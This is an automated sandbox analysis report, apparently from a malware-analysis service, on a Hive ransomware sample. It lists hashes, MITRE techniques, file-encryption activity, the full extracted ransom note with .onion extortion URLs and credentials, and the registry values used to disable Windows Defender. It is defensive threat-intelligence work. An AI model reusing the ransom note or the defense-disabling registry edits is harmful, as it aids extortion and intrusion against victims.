hive | 25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5

Analysis

max time kernel
568s
max time network
506s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
23-12-2022 15:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
Size

884KB
MD5

da13022097518d123a91a3958be326da
SHA1

24a71ab462594d5a159bbf176588af951aba1381
SHA256

25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5
SHA512

a82aa97a92cd21ee2d4b556448fd3293396eb7c01d3626ebdb6c3816277783578686830c430014b6b2fc3280bc1301df27da079937f88834c2d35641eb5fc26f
SSDEEP

12288:Sw41dVZvThPCsM18GLHe7wlDdkPAQEtxr0fflvRmhEBWtdUJiAUtP/T/kAfMvgVt:dod1HDmlDdkZ4YXPpaTTXMw

Score

10^/10

hive evasion ransomware spyware stealer trojan upx

Malware Config

Extracted

Path

C:\EGdu_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note

Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data or to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: jxkdVr8zZs5J Password: GHTM6Qgqyhqs4nMH53ZD To get access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not shutdown or reboot your computers, unmount external storages. - Do not try to decrypt data using third party software. It may cause irreversible damage. - Do not fool yourself. Encryption has perfect secrecy and it's impossible to decrypt without knowing the key. - Do not modify, rename or delete *.key.uj1ps files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to authorities. The negotiation process will be terminated immediately and the key will be erased. - Do not reject to purchase. Your sensitive data will be publicly disclosed.

URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

Hive
A ransomware written in Golang first seen in June 2021.
ransomware hive

Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Modify Existing Service
T1031

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" reg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

OfficeC2RClient.exeOfficeC2RClient.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3148	2236	OfficeC2RClient.exe	WINWORD.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4816	3204	OfficeC2RClient.exe	WINWORD.EXE

Clears Windows event logs 1 TTPs 3 IoCs
evasion ransomware

Indicator Removal on Host
T1070

Processes:

wevtutil.exewevtutil.exewevtutil.exe

pid process

1284 wevtutil.exe
368 wevtutil.exe
4324 wevtutil.exe
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

pid	process
1284	wevtutil.exe
368	wevtutil.exe
4324	wevtutil.exe

Modifies extensions of user files 4 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\CompressGrant.png => C:\Users\Admin\Pictures\CompressGrant.png.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2foFXrnnxjZPWat72zkXtZN.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Users\Admin\Pictures\CompressGrant.png.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2foFXrnnxjZPWat72zkXtZN.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File renamed	C:\Users\Admin\Pictures\ExpandCompare.raw => C:\Users\Admin\Pictures\ExpandCompare.raw.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2f_uoobuvuYDLHA4SrNnMge.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Users\Admin\Pictures\ExpandCompare.raw.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2f_uoobuvuYDLHA4SrNnMge.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/5060-132-0x0000000000A20000-0x0000000000D32000-memory.dmp	upx
behavioral2/memory/5060-133-0x0000000000A20000-0x0000000000D32000-memory.dmp	upx
behavioral2/memory/5060-224-0x0000000000A20000-0x0000000000D32000-memory.dmp	upx

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Drops file in Program Files directory 64 IoCs

Processes:

windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe

description	ioc	process
File opened for modification	C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\Assets\contrast-white\StoreLogo.scale-125_contrast-white.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_6.1908.2042.0_x64__8wekyb3d8bbwe\Common.View.UWP\Strings\ca-ES\View3d\3DViewerProductDescription-universal.xml	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.StorePurchaseApp_11811.1001.18.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppTiles\StoreLogo.scale-100.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_filter-hover_32.svg.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2cGc90dIWs1CheYw9aItsRT.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeBusiness2019R_OEM_Perp-ul-oob.xrm-ms.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2fu1nFWckTQb4tF1XmAOXML.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.XboxApp_48.49.31001.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\GamesXboxHubBadgeLogo.scale-125_contrast-high.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File created	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.zh_CN_5.5.0.165303\EGdu_HOW_TO_DECRYPT.txt	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Getstarted_8.2.22942.0_x64__8wekyb3d8bbwe\Assets\GetStartedAppList.targetsize-80_contrast-black.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\da-dk\ui-strings.js.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2e8vldLkx_ZbsbZ1LpJw-4q.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_Roundrect_White@1x.png.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2fX6GRTM6rZN_6XfqbArL8_.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\nb-no\EGdu_HOW_TO_DECRYPT.txt	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\jre\lib\security\cacerts.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2f_sCHrh3oLWENiiEpp6vcM.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\BORDERS\MSART1.BDR.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2d6KrfIQE7wW3PPuPAaFU4T.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Place\LTR\contrast-white\LargeTile.scale-100.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Snippets\ShouldExist.snippets.ps1xml	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Windows Media Player\es-ES\mpvis.dll.mui	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectStd2019VL_MAK_AE-ul-phn.xrm-ms.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2cyXi-O-LADVk129kvAFjpq.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingWeather_4.25.20211.0_x64__8wekyb3d8bbwe\Assets\AppTiles\WeatherImages\423x173\82.jpg	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ro-ro\ui-strings.js.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2e5eY-33ASgdmHyeMfQR3ME.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Unlock.White@2x.png.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2dqi3fvh95TCLrlseZ8PAZw.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WebMediaExtensions_1.0.20875.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SplashScreen.scale-125.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Assets\CalculatorAppList.targetsize-20_altform-lightunplated.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.XboxApp_48.49.31001.0_x64__8wekyb3d8bbwe\Assets\GamesXboxHubAppList.targetsize-36_contrast-white.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\AppPackageAppList.targetsize-24_altform-unplated.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MSPaint_6.1907.29027.0_x64__8wekyb3d8bbwe\Assets\Fonts\BhaiMDL2.2.52.ttf	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxAccountsSplashLogo.scale-100.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ui-strings.js.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2eKGfKrRUx8J0GNUyF8o915.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\es-es\EGdu_HOW_TO_DECRYPT.txt	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.People_10.1902.633.0_x64__8wekyb3d8bbwe\PeopleAppAssets\Videos\people_fre_motionAsset_p2.mp4	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxCalendarAppList.targetsize-256_altform-lightunplated.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Car\LTR\contrast-white\SmallTile.scale-125.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MSPaint_6.1907.29027.0_x64__8wekyb3d8bbwe\Assets\Images\Stickers\Sticker_Sunglasses.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\GenericMailWideTile.scale-400.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Common Files\System\msadc\de-DE\msaddsr.dll.mui.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2elGLLCFlGlLsyEUlopAr9y.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\Bibliography\Style\CHICAGO.XSL.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2c1_ZYSaqy0ZgjgpO3HumRl.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-white\MapsAppList.targetsize-24_altform-lightunplated.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxMailAppList.targetsize-80.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.SkypeApp_14.53.77.0_x64__kzf8qxf38zg5c\Assets\Audio\Skype_Dtmf_6.m4a	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxA-Google.scale-150.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\en-gb\ui-strings.js.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2e-HS3a4N5Mds5sQnpkS8pg.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Common Files\System\msadc\fr-FR\msdaremr.dll.mui	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\en-gb\EGdu_HOW_TO_DECRYPT.txt	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\tr-tr\EGdu_HOW_TO_DECRYPT.txt	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench_1.2.1.v20140901-1244.jar.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2cUMDXB93liUeJ7pfTRdkR4.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.549981C3F5F10_1.1911.21713.0_x64__8wekyb3d8bbwe\Assets\Store\AppIcon.targetsize-32_contrast-white.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ja-jp\ui-strings.js.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2dATjI99p-7AsiEErCgTz8r.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\fr-fr\EGdu_HOW_TO_DECRYPT.txt	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Car\RTL\contrast-black\LargeTile.scale-200.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\LibrarySquare150x150Logo.scale-200_contrast-black.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\splash.gif.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2cwfe1CQDA6bC8z2gaOwrpi.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1906.2182.0_x64__8wekyb3d8bbwe\Assets\AlarmsAppList.contrast-white_targetsize-60.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\nl-nl\ui-strings.js.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2fCeW1fBHTNdQh5vWAQ81B4.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\js\nls\fi-fi\ui-strings.js.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2dBzy7Ks22fAMSJdpvw14NW.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File created	C:\Program Files\Microsoft Office\PackageManifests\EGdu_HOW_TO_DECRYPT.txt	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\en-il\EGdu_HOW_TO_DECRYPT.txt	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppList.scale-125_contrast-white.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Assets\FileExtension.targetsize-256.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxAccountsSplashLogo.scale-180.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.SkypeApp_14.53.77.0_x64__kzf8qxf38zg5c\Assets\Audio\Skype_Shutter.m4a	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.YourPhone_0.19051.7.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppTiles\contrast-black\AppIcon.scale-100_contrast-black.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.XboxApp_48.49.31001.0_x64__8wekyb3d8bbwe\Assets\GamesXboxHubAppList.targetsize-40_contrast-high.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Common Files\System\msadc\de-DE\msdaremr.dll.mui	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tet\LC_MESSAGES\EGdu_HOW_TO_DECRYPT.txt	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\LockScreenBadgeLogo.scale-125.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe

Launches sc.exe 8 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

4828 sc.exe
4584 sc.exe
1184 sc.exe
4744 sc.exe
2184 sc.exe
1536 sc.exe
3528 sc.exe
4228 sc.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

996 3012 WerFault.exe

pid	process
4828	sc.exe
4584	sc.exe
1184	sc.exe
4744	sc.exe
2184	sc.exe
1536	sc.exe
3528	sc.exe
4228	sc.exe

pid	pid_target	process	target process
996	3012	WerFault.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

taskmgr.exetaskmgr.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

taskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	taskmgr.exe
